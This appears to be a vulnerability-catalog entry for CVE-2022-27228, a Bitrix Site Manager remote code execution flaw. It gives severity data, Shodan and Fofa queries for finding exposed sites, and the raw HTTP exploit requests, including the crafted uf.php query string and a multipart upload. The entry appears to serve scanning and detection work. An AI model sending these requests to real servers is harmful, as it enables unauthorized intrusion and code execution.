| Title | Bitrix Site Manager - Remote Code Execution |
|---|---|
| Author | theamanrawat |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute arbitrary code remotely, potentially leading to full system compromise. |
| Remediation | Update to version 21.0.100 or later. |
| CVSS Score | 9.8 |
| EPSS Score | 0.91597 |
| CVE ID | CVE-2022-27228 |
| CWE ID | CWE-20 |
| Shodan Query | /bitrix/p3p.xml |
| Fofa Query | body="/bitrix/" |
| Tags | cve cve2022 bitrix file-upload rce intrusive vkev |
In the vote (aka “Polls, Votes”) module before 21.0.100 of Bitrix Site Manager, a remote unauthenticated attacker can execute arbitrary code.
GET /bitrix/admin/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Connection: close
Accept-Encoding: gzip
POST /bitrix/tools/vote/uf.php?attachId[ENTITY_TYPE]=CFileUploader&attachId[ENTITY_ID][events][onFileIsStarted][]=CAllAgent&attachId[ENTITY_ID][events][onFileIsStarted][]=Update&attachId[MODULE_ID]=vote&action=vote HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 778
Content-Type: multipart/form-data; boundary=---------------------------xxxxxxxxxxxx
Accept-Encoding: gzip
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_files[bitrix50][NAME]"
eJEXVPju.txt
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_files[bitrix50][NAME]";filename="eJEXVPju.jpg"
Content-Type: image/jpeg
malicious
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[packageIndex]"
pIndex101
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[mode]"
upload
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="sessid"
uBz1he
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[filesCount]"
1
-----------------------------xxxxxxxxxxxx--
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-27228.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-27228.pcap
N/AN/A